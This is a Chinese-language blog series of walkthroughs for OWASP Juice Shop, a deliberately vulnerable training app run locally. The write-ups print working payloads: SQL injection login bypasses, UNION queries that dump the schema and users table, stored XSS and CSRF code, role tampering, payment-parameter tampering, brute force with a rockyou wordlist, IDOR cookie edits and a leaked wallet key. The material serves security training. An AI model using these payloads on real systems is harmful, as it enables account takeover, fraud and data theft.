
Fix2和Fix3修了个寂寞……

参考

https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_exfiltrate_the_entire_db_schema_definition_via_sql_injection

【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS

Wed, 08 Apr 2026 11:28:00 +0000

【juice-shop】★★★ Client-side XSS Protection：绕过客户端防护实施存储型 XSS

0x01 任务简报

💡 提示 (Hints)
1. 果汁店表单中仅有部分输入字段会对输入内容进行验证。
2. 其中更少的部分会以某种方式被持久化，使得其内容能在另一个屏幕上显示。
3. 绕过客户端安全通常可通过两种方式实现：在客户端禁用安全机制（例如通过操作 DOM 树），或完全忽略安全机制而直接与后端交互。

0x02 实战：复现漏洞

这题我愿将其称为闪击管理员（

🔍 第一步：抓取注册请求

打开 Burp Suite，进行一次正常的用户注册，捕获注册请求包。

💉 第二步：将 XSS 有效负载注入 email 字段

将请求发送到 Repeater，把 email 字段的值替换为 XSS 有效负载：

`1`	<iframe src='javascript:alert(`xss`)'>

前端对 email 字段有格式校验，但直接与后端交互可以绕过客户端的验证限制。

发送请求，成功创建含有 XSS 有效负载的新用户。

🔑 第三步：以管理员身份验证效果

我们看看管理员那边发生了什么，使用 SQL 注入快速登录管理员账户，访问管理后台：

`1`	`http://127.0.0.1:3000/#/administration`

💥 第四步：触发 XSS

管理员访问用户管理页面时，XSS 弹窗立即触发。翻页至含有恶意 email 的用户时再次弹窗，硬控管理员数秒。

✅ 第五步：完成挑战

存储型 XSS 成功触发，挑战完成。

参考资料

https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_perform_a_persisted_xss_attack_bypassing_a_client_side_security_mechanism

【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格

Wed, 08 Apr 2026 04:00:00 +0000

【juice-shop】★★★ Deluxe Fraud：免费获得高级会员资格

0x01 任务简报

💡 提示 (Hints)
1. 仔细观察当你试图升级账户时会发生什么。
2. 前往豪华会员的支付页面，尝试通过不同方式进行支付。
3. 尝试使用浏览器的开发者工具检查这些方法各自发出的请求。
4. 也许通过调整这些请求中的参数，能发现一些有趣的东西。

前置条件： 需要登录账户。

0x02 实战：复现漏洞

一开始记得使用 Burp 抓包，以及内置浏览器访问网页。

💰 第一步：充值钱包余额

这里我们采用一点操作，首先从不存在的信用卡里搞点钱出来

搞点钱，好现在有钱了，然后升级高级成员

🎯 第二步：开始高级会员升级

点击升级为高级会员，进入支付页面。

🔍 第三步：拦截支付请求

在这里拦截包

打开 Burp 拦截，点击支付按钮，逐个放行请求包，直到看到 /rest/deluxe-membership 这个关键请求。

💉 第四步：篡改支付方式参数

在 /rest/deluxe-membership 请求中，找到请求体中的支付方式参数：

`1`	`"paymentMode": "wallet"`

将其改为空值：

`1`	`"paymentMode": ""`

✅ 第五步：完成挑战

放行修改后的请求及后续所有请求，成功获得高级会员资格而无需实际支付，挑战完成。

参考资料

https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_obtain_a_deluxe_membership_without_paying_for_it

【juice-shop】★★★ GDPR Data Erasure：登录已删除的用户账户

Wed, 08 Apr 2026 00:00:00 +0000

0x01 任务简报

💡 提示 (Hints)
1. 实现用户"被遗忘的权利"在技术上和法律上都存在问题。
2. 尝试使用请求数据删除功能或许值得一试，但无法帮助实时解决此问题。
3. 若已解决"通过 SQL 注入获取所有用户凭证列表"挑战，或许已掌握 Juice Shop 如何应用户请求"删除"账户的相关信息。
4. Juice Shop 在此处的做法完全不符合《通用数据保护条例》（GDPR）。

0x02 实战：复现漏洞

💡 前置思路

提示暗示 Chris 用户表面上被删除了，但实际上可能仍能使用。这涉及数据库的**软删除（Soft Delete）**机制。

🔍 第一步：推断目标邮箱

先进行账号收集，我在商店的所有评论里面没有找到Chris用户的评论，只是尝试构造Chris的邮箱了

`1`	`chris@juice-sh.op`

尝试直接注入登录，但失败。

📊 第二步：查询数据库结构

看来不行，得请神上身了（AI救我）

首先从 Database Schema 挑战搞来注入语句，查询 sqlite_master 表获取数据库结构：

`1`	`1'))union+select+1,2,3,4,5,6,7,8,sql+from+sqlite_master--`

分析返回的 SQL 定义，发现 Users 表包含 deletedAt 字段，这表明应用使用软删除机制：用户被"删除"时，只是将 deletedAt 字段设置为删除时间戳，而不是物理删除记录。

🔑 第三步：查询已删除用户

构造 SQL 注入语句，查询所有 deletedAt 不为空的用户（已删除用户）：

`1`	`1'))union+select+id,email,password,role,deletedAt,6,7,8,9+from+Users+where+deletedAt+is+not+null--`

成功获取已删除用户的邮箱、密码哈希和角色信息。

💉 第四步：登录已删除用户

从查询结果中获取 Chris 的真实邮箱：

`1`	`chris.pike@juice-sh.op`

既然已经拿到邮箱，那么直接使用注入进行登录

`1`	`chris.pike@juice-sh.op'--`

✅ 第五步：完成挑战

成功登录已删除的 Chris 账户，挑战完成。

AI 真好用啊~

【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈

Tue, 07 Apr 2026 17:55:00 +0000

【juice-shop】★★★ CAPTCHA Bypass：绕过验证码批量提交反馈

0x01 任务简报

💡 提示 (Hints)
1. 绕过验证码后，编写脚本自动提交，或打开多个标签页快速提交。
2. 可以准备 10 个浏览器标签页，逐个破解验证码并填写表单，在 20 秒内快速切换提交。
3. 若要求改为 60 秒内提交 100 条以上，标签页切换策略将难以应对。
4. 深入研究验证码机制的工作原理，尝试寻找绕过方法或自动化动态破解方案。
5. 将操作封装成脚本，重复执行 10 次。

0x02 实战：复现漏洞

🔍 第一步：抓包分析验证码机制

打开 Burp Suite，访问 http://127.0.0.1:3000/#/contact，分析请求包。

访问用户反馈页面时，前端会向后端申请一个验证码，响应结构如下：

猜测提交反馈时，请求包中包含 captcha 和 captchaId 两个字段，推测后端会将提交的 captcha 与存储的 answer 进行比对，相等则通过验证。

💡 第二步：发现重放漏洞

但是！这里我做了一个尝试，将包发送到重放器顺手点了一下发送，发现返回201，有效……

这说明后端对已验证的请求包没有做重放防护，直接重放即可绕过验证码。

💥 第三步：使用 Intruder 批量重放

将请求发送到 Intruder，配置 Null payloads：

Positions — 点击 Clear §，不添加任何标记
Payloads — Payload type 选择 Null payloads，设置发送次数为 10

✅ 第四步：完成挑战

点击 Start Attack，自动在 20 秒内完成 10 次提交，挑战完成。

参考资料

OWASP Juice Shop 官方攻略 - CAPTCHA Bypass

【juice-shop】★★★ Bjoern's Favorite Pet：通过 OSINT 重置密码

Tue, 07 Apr 2026 17:03:00 +0000

【juice-shop】★★★ Bjoern’s Favorite Pet：通过 OSINT 重置密码

0x01 任务简报

💡 提示 (Hints)
1. 要解答 Bjoern 的问题，可通过在互联网上搜索他的信息来找到线索。
2. 更准确地说，Bjoern 可能在至少一次摄像机拍摄的场合中，无意间（？）透露了自己的安全问题答案。
3. 通过暴力破解获取答案完全可行，前提是准备一份足够详尽的常用宠物名列表。

前置条件： 需要网络能够访问推特（X）。

0x02 实战：复现漏洞

这题也是 OSINT 的题目……其实可以直接注入进去（雾

📧 第一步：获取目标邮箱与安全问题

在商店的商品评论区找到 Bjoern 留下的评论，进入忘记密码页面输入其邮箱，安全问题自动显示：

你的宠物名叫什么？

🐱 第二步：通过推特查找宠物信息

评论让我们看看照片墙，但是照片墙的链接会跳转到推特，emmm结合提示，在推特搜索Bjoern（我的推特现在有点问题，直接使用了攻略里面的链接进行跳转 https://x.com/bkimminich ）

`1`	`https://x.com/bkimminich`

随便看看，在 Media 里面有一直猫疑似宠物

🔐 第三步：重置密码

根据照片推断宠物名称，在忘记密码页面填写：

`1`	`安全问题答案：Zaya`

✅ 第四步：完成挑战

成功重置 Bjoern 的账户密码，挑战完成。

最后，我讨厌OSINT。

【juice-shop】★★★ Admin Registration：注册管理员权限账户

Tue, 07 Apr 2026 16:12:00 +0000

【juice-shop】★★★ Admin Registration：注册管理员权限账户

0x01 任务简报

💡 提示 (Hints)
1. 必须得到一个无法通过正常途径分配的权限。
2. 注册为普通用户，了解此用例涉及哪些 API 接口。
3. 设想区分普通用户与管理员的最简单实现方式。

0x02 实战：复现漏洞

🔍 第一步：注册普通用户并抓包

提示其实无所谓，在实际操作的时候我大概只与第三点有关……

在这个挑战开始前，如果完成过Login Admin更好，没有完成过也没事（

首先，打开burp，使用内置浏览器注册一个普通用户

🔎 第二步：分析返回的 JSON

观察注册成功后服务器返回的 JSON 数据，发现其中包含一个 role 字段：

`1`	`"role": "customer"`

这很可能就是区分普通用户与管理员的关键字段。

🔑 第三步：确认管理员的 role 值

我们把这个包发送到重放器，重新注册一个账号，把这个字段添加进去，如果没有完成过Login Admin，可以猜一下这里有哪些role，不过我不喜欢猜，使用 SQL 注入登录管理员账户，访问管理后台：

`1`	`http://127.0.0.1:3000/#/administration`

在 Burp 中找到对应请求，从响应中确认管理员的 role 值：

`1`	`"role": "admin"`

💉 第四步：篡改请求注册管理员账户

将注册请求发送到 Repeater，修改请求体，在 JSON 中添加 role 字段：

`1`	`"role": "admin"`

发送请求，注册一个新的管理员权限账户。

✅ 第五步：完成挑战

成功注册拥有管理员权限的用户，挑战完成。

【juice-shop】★★★ CSRF：跨站请求伪造修改用户名

Tue, 07 Apr 2026 00:00:00 +0000

【juice-shop】★★★ CSRF：跨站请求伪造修改用户名

0x01 任务简报

💡 提示 (Hints)
1. 查找更新用户名的表单，在 HTML 在线编辑器中构建恶意页面。可能需要旧版浏览器。
2. 看看在个人资料页面更改用户名时会发生什么。
3. 搜索有关 CSRF 攻击的信息，寻找可应用于本挑战的示例。
4. 在 http://htmledit.squarefree.com 中编写 CSRF 攻击代码，验证是否更改了用户名。

注意： 本题需要旧版浏览器（新版浏览器会因 SameSite Cookie 保护而拒绝跨站脚本自动携带 Cookie）。

这题需要旧版浏览器（新版浏览器会拒绝跨站脚本自带的Cookie），我这里暂时没有旧版浏览器，直接发思路吧……

0x02 实战：复现漏洞

🔍 第一步：分析用户名修改请求

打开 Burp Suite，登录账户后，在个人资料页面修改用户名一次，捕获并分析请求包。

观察 POST 请求的结构，记录以下信息：

请求 URL：http://localhost:3000/profile
请求方法：POST
参数：username=<新用户名>

💉 第二步：构造 CSRF 恶意页面

创建一个 HTML 文件，包含自动提交的表单：

<form action="http://localhost:3000/profile" method="POST">
  <input name="username" value="CSRF"/>
  <input type="submit"/>
</form>
<script>document.forms[0].submit();</script>

工作原理：

表单指向目标服务器的用户名修改接口
隐藏的 <input> 字段包含恶意的新用户名
JavaScript 自动提交表单，无需用户交互
浏览器自动携带已登录用户的 Cookie，请求被服务器认为合法

🌐 第三步：在线编辑并测试

方案 A：使用在线 HTML 编辑器

访问 http://htmledit.squarefree.com ，将上述 HTML 代码粘贴并运行。

方案 B：本地文件测试

创建 csrf.html 文件，保存上述代码
使用旧版浏览器打开该文件
页面自动提交表单，修改已登录用户的用户名

⚠️ 第四步：浏览器版本要求

为什么需要旧版浏览器？

现代浏览器（Chrome 80+、Firefox 60+）默认设置 SameSite=Lax Cookie 属性，跨站请求不会自动携带 Cookie，导致 CSRF 攻击失效。

解决方案：

使用 Firefox 52 ESR 或 Chrome 79 及以下版本
或在现代浏览器中禁用 SameSite 保护：
- Chrome：chrome://flags/#same-site-by-default-cookies → Disabled
- Firefox：about:config → network.cookie.sameSite.laxByDefault = false

✅ 第五步：完成挑战

成功修改用户名后，挑战完成。

【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS

Mon, 06 Apr 2026 22:39:00 +0000

【juice-shop】★★★ API-only XSS：绕过前端直接调用 API 实施存储型 XSS

0x01 任务简报

💡 提示 (Hints)
1. 需要直接调用服务器端 API，通过 API 尝试不同的 HTTP 动作以暴露不同实体。
2. 一个包含已知数据实体及其在 API 中支持的 HTTP 操作动词的矩阵可为你提供帮助。
3. 粗心的开发人员可能暴露了客户端根本不需要的 API 方法。

0x02 实战：复现漏洞

🔍 第一步：API 枚举

这个挑战需要寻找前端没有暴露的 API 接口，使用 FindSomething 插件收集到以下接口：

/api/Addresss
/api/BasketItems
/api/Cards
/api/Challenges
/api/Challenges/?key=nftMintChallenge
/api/Complaints
/api/Deliverys
/api/Feedbacks
/api/Hints
/api/Products
/api/Quantitys
/api/Recycles
/api/SecurityAnswers
/api/SecurityQuestions
/api/Users

🌐 第二步：探测目标接口

使用 curl 逐个访问接口（默认 GET 方法），发现 /api/Products 返回了所有商品列表，将其作为目标。

`1`	`❯ curl 127.0.0.1:3000/api/Products \| python -m json.tool`

虽然题目要求不使用前端，但不能被条件完全框住。

我们使用burp的内置浏览器，访问 http://127.0.0.1:3000/api/Products 将对应的请求加入到重放器里

⚙️ 第三步：探测支持的 HTTP 方法

发送 OPTIONS 请求，获取该接口支持的所有请求方法：

`1`	`GET,HEAD,PUT,PATCH,POST,DELETE`

逐一测试各方法：

PUT — 报错 Error: Unexpected path: /api/Products，无法使用
POST — 报错 UnauthorizedError: No Authorization header was found，缺少鉴权

🔑 第四步：获取管理员 Authorization

我们使用之前的Login Admin挑战获取一下 Authorization ，直接用admin防止权限不足（这里使用burp内置浏览器，便于捕获本地包）。

将 Authorization 添加到 Burp Repeater 的请求头中，重新发送 POST 请求。

发送成功，响应中出现了新商品，确认该接口为商品添加接口。

💉 第五步：构造 XSS Payload

整理关键信息：

XSS 有效负载（来自题目描述）：

`1`	<iframe src='javascript:alert(`xss`)'>

接口返回的 JSON 结构：

{
    "status": "success",
    "data": {
        "id": 49,
        "updatedAt": "2026-04-06T13:25:59.899Z",
        "createdAt": "2026-04-06T13:25:59.899Z",
        "name": null,
        "description": null,
        "price": null,
        "deluxePrice": null,
        "image": null,
        "deletedAt": null
    }
}

关键请求头（上传 JSON 数据时必须添加 Content-Type）：

1
2

Authorization: Bearer <admin_token>
Content-Type: application/json

将 XSS 有效负载注入商品的 description 字段，构造并发送 POST 请求。

✅ 第六步：完成挑战

访问 http://127.0.0.1:3000/#/search，翻到最后一页，找到通过 API 添加的商品，点击后 XSS 弹窗触发。

挑战完成！

吐槽

这个挑战因为一些细节粗心，花费了半天时间，我认为这个挑战是非常考验细节的，3 星有点低啊（雾

最后构建 payload 的时候注意不要少符号，容易搞坏这个 API，发现 GET 访问 /api/Products 报错的时候直接重启环境（

参考资料

OWASP Juice Shop 官方攻略 - API-only XSS

【juice-shop】★★★ Login Jim & Login Bender：通过商品评论收集邮箱并注入登录

Mon, 06 Apr 2026 15:16:00 +0000

0x01 任务简报

分别使用 Jim 和 Bender 的用户账户登录。

0x02 实战：复现漏洞

这里的引导给我扩宽了一个思路，之前完成其他登录挑战的时候没有注意到的

商店的商品评价里面是有用户登录邮箱的！

👤 Jim

🔍 第一步：从商品评论中收集邮箱

浏览商店商品的评论区，找到 Jim 留下的评论，获取其登录邮箱。

成功收集到 Jim 的邮箱：

`1`	`jim@juice-sh.op`

💉 第二步：SQL 注入绕过登录

在登录页面的邮箱字段输入以下注入有效负载，密码随意填写：

`1`	`jim@juice-sh.op'--`

✅ 挑战完成

成功以 Jim 的身份登录。

👤 Bender

🔍 第一步：从商品评论中收集邮箱

同样在商品评论区找到 Bender 留下的评论，获取其登录邮箱。

💉 第二步：SQL 注入绕过登录

在登录页面的邮箱字段输入以下注入有效负载，密码随意填写：

`1`	`bender@juice-sh.op'--`

✅ 挑战完成

成功以 Bender 的身份登录。

【juice-shop】★★★ Forged Feedback：伪造他人反馈

Mon, 06 Apr 2026 02:34:00 +0000

【juice-shop】★★★ Forged Feedback：伪造他人反馈

0x01 任务简报

💡 提示 (Hints)
1. 可以通过篡改用户界面或拦截 RESTful 后端通信来解决此问题。
2. 要找到客户端的杠杆点，需仔细分析用于反馈提交的 HTML 表单。
3. 后端侧的杠杆点类似于 Juice Shop 中某些 XSS 挑战的利用方式。

0x02 实战：复现漏洞

🔍 第一步：进入客户反馈页面

导航至客户反馈页面，打开浏览器 DevTools，切换到 Elements（元素） 面板，仔细审查反馈表单的 HTML 结构。

🕵️ 第二步：发现隐藏字段

在客户反馈的页面打开DevTools查看页面元素（没思路了，自己删了好多内容没想出来……我是废物）

重新看了一下dom，发现自己被这个作者框给框住了，钥匙不再框里面，而是在框外面

✏️ 第三步：删除 hidden 属性

在框的上方有一行带有hidden="" 属性的 input 框，它才是可以自定义提交用户的“钥匙”

💉 第四步：填入目标用户 ID

在新显示的输入框中填入其他用户的 ID，然后正常填写反馈内容并提交。

✅ 第五步：完成挑战

以他人身份成功提交反馈，挑战完成。

参考资料

OWASP Juice Shop 官方攻略 - Forged Feedback

【juice-shop】★★★ Visual Geo Stalking：通过照片细节重置密码

Sun, 05 Apr 2026 22:00:00 +0000

【juice-shop】★★ Visual Geo Stalking：通过照片细节重置密码

0x01 任务简报

💡 提示 (Hints)
1. 查看照片中的详细信息，以确定照片的拍摄地点。

0x02 实战：复现漏洞

📧 第一步：构建目标邮箱

根据目标用户名 Emma，结合从其他挑战中获取的邮箱域名，拼接出目标邮箱：

`1`	`emma@juice-sh.op`

在忘记密码页面输入邮箱后，安全问题自动显示：

你成年后第一次工作的公司是哪家？

🔍 第二步：下载并分析照片

从照片墙下载 Emma 上传的照片，使用 ExifTool 检查元数据，未发现明显的位置信息。

🏢 第三步：仔细观察照片细节

仔细查看照片内容，注意到建筑左侧二楼窗户处有一块牌子。

放大后可以辨认出牌子上写着 ITsec，这很可能就是安全问题的答案。

🔐 第四步：重置密码

在忘记密码页面填写：

1
2

邮箱：emma@juice-sh.op
安全问题答案：ITsec

✅ 第五步：完成挑战

成功重置 Emma 的密码，挑战完成。

参考资料

OWASP Juice Shop 官方攻略 - Visual Geo Stalking

【juice-shop】★★ NFT Takeover：接管 NFT 钱包

Sun, 05 Apr 2026 18:05:00 +0000

【juice-shop】★★ NFT Takeover：接管 NFT 钱包

0x01 任务简报

💡 提示 (Hints)
1. 找到意外泄露的种子短语。

0x02 实战：复现漏洞

🔍 第一步：发现泄露的助记词

提示很简短，短到我直接没有思路（

这里我们借助了一些不属于我的力量（直接看了一眼攻略）

这里的入口在关于我们底下的客服反馈这里

在关于我们页面底部的客服反馈区域，发现一条包含敏感信息的评论。

从评论中收集到两个关键信息：

路径：/juicy-nft
泄露的助记词：

`1`	`purpose betray marriage blame crunch monitor spin slide donate sport lift clutch`

🔑 第二步：推导以太坊私钥

访问 BIP39 工具：https://iancoleman.io/bip39/#english

将助记词填入 BIP39 Mnemonic 输入框
将 Coin（币种） 改为 ETH - Ethereum

📋 第三步：提取第一个私钥

向下滚动至 Derived Addresses（衍生地址） 表格，复制第一行（索引 0）的私钥：

`1`	`0x5bcc3e9d38baa06e7bfaab80ae5957bbe8ef059e640311d7d6d465e6bc948e3e`

💉 第四步：接管钱包

回到 Juice Shop，访问第一步收集到的路径 /juicy-nft，将私钥粘贴并提交。

✅ 第五步：完成挑战

成功接管包含官方 Soul Bound Token 的钱包，挑战完成。

总结

这里是与web3相关的内容，对于这部分没有接触过的我来说过程还是有点折磨的，即使看着官方的wp，解题还是很慢。

核心思路是：

OSINT — 从公开评论中发现泄露的助记词
BIP39 — 利用助记词推导以太坊私钥
私钥即控制权 — 拥有私钥即可完全控制对应钱包

参考

OWASP Juice Shop 官方攻略 - NFT Takeover

【juice-shop】★★ Login MC SafeSearch：通过歌词推断密码

Sun, 05 Apr 2026 15:55:00 +0000

0x01 任务简报

💡 提示 (Hints)
1. MC SafeSearch 是一位说唱歌手，他创作的歌曲《Protect Ya' Passwordz》对密码及敏感数据的保护进行了非常生动的阐述。
2. 看完这首歌的 MV 后，你应该会同意，即便是 ⭐⭐ 的难度评级，对这个挑战来说也略显夸张。

0x02 实战：复现漏洞

🔍 第一步：初步搜索

这题有 OSINT 标签，那么先使用浏览器搜索一下

尝试登录一下，不对，被浏览器骗了（

🎵 第二步：查找歌曲《Protect Ya’ Passwordz》

根据提示，重点关注歌曲《Protect Ya’ Passwordz》的歌词和 MV 内容。

相关资源：

📝 第三步：分析歌词

查看歌词中与密码相关的关键部分：

歌词中提到了密码的构成方式，包含大小写字母、数字和特殊字符的组合。

🔑 第四步：推断可能的密码

根据歌词提示，密码可能为以下几种变体：

Mr. N0odles
Mr. No0dles
Mr. Noodl0s
Mr. N00dles
Mr. N0odl0s
Mr. No0dl0s
Mr. N00dl0s

📧 第五步：推断可能的邮箱

根据用户名 MC SafeSearch，推测邮箱可能为：

mc.safesearch@juice-sh.op
Mc.Safesearch@juice-sh.op
Mc.safesearch@juice-sh.op
mc.Safesearch@juice-sh.op
safesearch@juice-sh.op

🔐 第六步：逐一测试

在登录页面逐一尝试邮箱和密码组合。

✅ 第七步：成功登录

最终成功的凭据为：

1
2

邮箱：mc.safesearch@juice-sh.op
密码：Mr. N00dles

挑战完成！

参考

【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码

Sun, 05 Apr 2026 04:10:00 +0000

【juice-shop】★★ Meta Geo Stalking：通过图像元数据重置密码

0x01 任务简报

💡 提示 (Hints)
1. 查看相应照片的元数据。
2. 使用能够检查图像元数据的工具。
3. 使用此信息回答 John 的安全问题，他喜欢在公园里徒步旅行。

0x02 实战：复现漏洞

🔍 第一步：信息收集与邮箱猜测

本题涉及 OSINT 技术，需要从公开渠道收集信息。

根据目标名字 John，推测其邮箱可能为：

1
2

john@juice-sh.op
johnny@juice-sh.op

📸 第二步：下载目标照片

从照片墙（用户上传的图片）中找到与徒步相关的照片并下载。

🔎 第三步：提取 GPS 元数据

使用 ExifTool 提取图像中的地理位置信息：

❯ exiftool favorite-hiking-place.png | grep GPS
GPS Version ID                  : 2.2.0.0
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Map Datum                   : WGS-84
GPS Latitude                    : 36 deg 57' 31.38" N
GPS Longitude                   : 84 deg 20' 53.58" W
GPS Position                    : 36 deg 57' 31.38" N, 84 deg 20' 53.58" W

🗺️ 第四步：坐标转换与地点定位

使用在线工具（如 https://www.itilog.com/ ）将坐标转换为地点名称：

1
2
3

36 deg 57' 31.38" N, 84 deg 20' 53.58" W
↓
Forest View Road, Laurel County, KY, United States of America

🏞️ 第五步：在地图上查询周边地点

使用 Google Maps 查询该坐标周边的公园和景点。适当调整地图视角以获得更准确的地点信息。

周边主要地点包括：

Craigs Creek Group Area
Holly Bay
Sheltowee Camp
Daniel Boone National Forest

🔐 第六步：重置密码

进入登录页面，点击忘记密码功能：

邮箱：john@juice-sh.op
安全问题答案：Daniel Boone National Forest

✅ 第七步：完成挑战

成功重置 John 的密码，挑战完成。

【juice-shop】★★ Five-Star Feedback：删除五星评论

Sun, 05 Apr 2026 02:28:00 +0000

【juice-shop】★★ Five-Star Feedback：删除五星评论

这里我似乎用意料之外的解法解除了？直接使用 ' or true--登录了管理员，然后使用之前其他挑战收集过来的http://127.0.0.1:3000/#/administration 直接删除了5星评论，通关……

【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口

Sun, 05 Apr 2026 02:04:00 +0000

【juice-shop】★★ Deprecated Interface：利用废弃 B2B 接口

0x01 任务简报

💡 核心线索 (Hints)
1. 禁用接口的开发者认为闭眼就看不到。
2. 旧版 B2B 界面已被更新换代，升级为更现代的版本。
3. 弃用旧接口时，并非所有组件都从代码库中彻底移除。
4. 仅需使用已弃用的接口即可解决，无需任何攻击或漏洞利用手段。

0x02 实战：复现漏洞

🔑 前置条件：登录账户

需要登录才能进行挑战。

🔍 第一步：API 收集与探测

既然是接口，那我们进行一下api收集

这里借助了FindSomething 这个firefox插件，虽然没有派上用 (╯°□°）╯︵ ┻━┻

这一步可能没有直接收获，但有助于理解应用的接口结构。

📝 第二步：发现投诉功能的文件上传接口

登录后，进入投诉（Complaint）功能，发现其中包含文件上传功能。

📋 第三步：测试前端白名单限制

创建测试文件：

1
2

❯ touch 1.zip
❯ touch 1.pdf

UI 提示仅支持 PDF 和 ZIP 格式，尝试上传这两种格式的文件，系统提示 客户支持人员将很快与您联系！。（并不会，这是本地环境

尝试上传这两个后缀之外的文件，最好也是空文件，本地环境无所谓，选择了note.txt笔记文件，它甚至不给提交！

🔎 第四步：分析前端代码

在 main.js 代码中搜索与文件上传相关的白名单配置，发现以下可疑代码：

allowedMimeType: ["application/pdf", "application/xml", "text/xml", "application/zip", "application/x-zip-compressed", "multipart/x-zip", "application/yaml", "application/x-yaml", "text/yaml", "text/x-yaml"],

关键发现：虽然 UI 提示仅支持 PDF 和 ZIP，但前端白名单实际上包含了 XML 和 YAML 等被隐藏的文件类型——这正是已废弃但未删除的 B2B 接口所支持的格式。

💉 第五步：利用隐藏的文件类型

使用touch 创建一个空xml

`1`	`❯ touch 1.xml`

✅ 第六步：完成挑战

点击提交后完成！

参考

OWASP Juice Shop 官方攻略 - Deprecated Interface

【juice-shop】★★ Password Strength：管理员弱密码爆破

Sun, 05 Apr 2026 01:00:00 +0000

【juice-shop】★★ Password Strength：管理员弱密码爆破

0x01 任务简报

💡 核心线索 (Hints)
1. 此题可通过三种不同方法解决。
2. 猜猜看或许就行。
3. 若已获取管理员密码哈希值，可尝试对其发起攻击。
4. 若使用某些黑客工具，也可通过通用密码列表进行暴力破解攻击。

0x02 实战：复现漏洞

本题需要事先获取管理员的登录邮箱，推荐先完成 Login Admin 挑战，或与本题同步完成。

🔍 第一步：分析题目方向

先分析一下描述、提示和标签，暗示这里可能用到一些自动化工具，而且事先不知道这里的标签

📋 第二步：提取候选密码字典

从 rockyou 词表中筛选所有以 admin 开头的密码，输出到单独文件备用。

1
2

~/Desktop/pentest                          
❯ zcat /usr/share/wordlists/rockyou.txt.gz | grep "^admin" > admin_passwords.txt

🌐 第三步：抓取登录请求包

打开 Burp Suite，使用内置浏览器访问 http://127.0.0.1:3000/#/login，随意输入用户名和密码以触发登录请求。

🎯 第四步：发送至 Intruder

找到 /rest/user/login 请求，右键发送到 Intruder 模块。

⚙️ 第五步：配置爆破参数

将 email 字段固定为 Login Admin 挑战中获取的管理员邮箱 admin@juice-sh.op，在 password 字段添加 Payload 位置标记，导入前面生成的 admin_passwords.txt 作为字典。

💥 第六步：发起攻击

点击 Start Attack 开始爆破。

✅ 第七步：完成挑战

按状态码排序，唯一一条返回 200 的请求即为正确密码。

管理员密码为 admin123（这个弱密码其实也可以直接猜出来）。

【juice-shop】★★ View Basket：查看他人购物车

Sat, 04 Apr 2026 01:27:00 +0000

【juice-shop】★★ View Basket：查看他人购物车

0x01 任务简报

💡 核心线索 (Hints)
1. 监控 HTTP 流量，测试所有涉及购物车的现有功能。
2. 可能存在客户端将用户与购物车关联的机制，尝试对其进行操作。
3. 通过 SQL 注入修改关联关系不计入解题。

0x02 实战：复现漏洞

🔑 前置条件：注册两个测试账号

账号 1：

`1`	`1@1.com / 11111`

账号 2：

`1`	`2@2.com / 11111`

🛒 第一步：为账号 1 添加商品

登录账号 1，向购物车中添加若干商品。

可以尝试修改请求中其他参数的值，这也是一个漏洞挖掘的常见思路。

🔍 第二步：记录账号 1 的 bid 值

打开 DevTools → Application → Cookies，记录当前 bid 值为 6。

🔄 第三步：切换至账号 2，记录其 bid 值

登录账号 2，同样查看 Cookies，bid 值为 7。

💉 第四步：篡改 bid，实现越权访问

将账号 2 的 bid 值从 7 修改为 6，刷新页面。

账号 2 成功看到账号 1 的购物车内容，水平越权（IDOR）利用成功。

通关！

【juice-shop】★★ Login Admin：SQL 注入绕过登录

Fri, 03 Apr 2026 16:39:00 +0000

0x01 任务简报

💡 核心线索 (Hints)
1. 挑战说明可能已经透露了你应该采取何种形式进行攻击。
2. 若您恰巧已知晓管理员的电子邮箱地址，便可发起定向攻击。
3. 即使你对管理员邮箱地址一无所知，专用的攻击模式也可能让你走运。
4. 若已获取管理员密码哈希值，你当然可以尝试直接攻击该哈希值，而非使用 SQL 注入攻击。
5. 或者，您也可以将此挑战与以下挑战组合解决：使用管理员用户凭据登录（无需事先更改凭据）或应用 SQL 注入挑战。

0x02 前置条件

未登录

0x03 实战：复现漏洞

🔑 第一步：访问登录页面

通过"账户"菜单转到"登录"页面。

🧪 第二步：探测 SQL 注入入口

为了绕过正常的登录流程，尝试使用 SQL 注入（SQLi）攻击。

对于简单的 SQL 注入而言，一个好的切入点是插入引号（如 ' 或 "）。这些引号会扰乱不安全的拼接式查询的语法结构。

在电子邮件字段中输入 '，在密码字段中输入任意内容，点击登录按钮。

你会看到顶部的红色 [objectObject] 错误。检查浏览器网络标签页中的 500 响应，会发现包含 SQLITE_ERROR 错误信息以及完整 SQL 查询的提示信息。

💉 第三步：构造逻辑绕过语句

尝试在电子邮件字段中输入 ' OR true，再次点击登录按钮。

查询仍然无效。从 HTTP 响应中的新错误可以看出，语句结构仍然不完整。

🔐 第四步：使用 SQL 注释绕过

在 SQLite 数据库中，可以使用 -- 来注释掉后续内容。

在电子邮件字段中输入 ' OR true--

✅ 第五步：成功登录

按下回车后成功登录管理员账户，挑战完成。

0x04 编码挑战

🔍 找到它（15 行）

修复它

原始漏洞代码

models.sequelize.query(`SELECT * FROM Users WHERE email = '${req.body.email || ''}' AND password = '${security.hash(req.body.password || '')}' AND deletedAt IS NULL`, { model: UserModel, plain: true })

攻击场景演示

用户输入：
  email = "' OR true--"
  password = "anything"

生成的 SQL：
SELECT * FROM Users 
WHERE email = '' OR true--' AND password = '...' AND deletedAt IS NULL

执行结果：
- OR true 使条件恒为真
- -- 注释掉后续的 AND password 条件
- 返回第一个用户（通常是 admin）
- 认证绕过成功

🛠️ 修复方案对比

方案	修复方式	安全性	评价
fix1	参数化查询 + hash 在绑定	✅ 安全	正确但冗余
fix2	参数化查询 + hash 在 SQL	❌ 不安全	错误
fix3	黑名单过滤	❌ 极不安全	错误
fix4	参数化查询 + hash 在绑定	✅ 安全	最优

✅ 正确修复（fix4）

1
2

models.sequelize.query(`SELECT * FROM Users WHERE email = $1 AND password = $2 AND deletedAt IS NULL`,
  { bind: [ req.body.email, security.hash(req.body.password) ], model: models.User, plain: true })

核心原理：

$1, $2 占位符告诉数据库这是数据，不是 SQL 代码
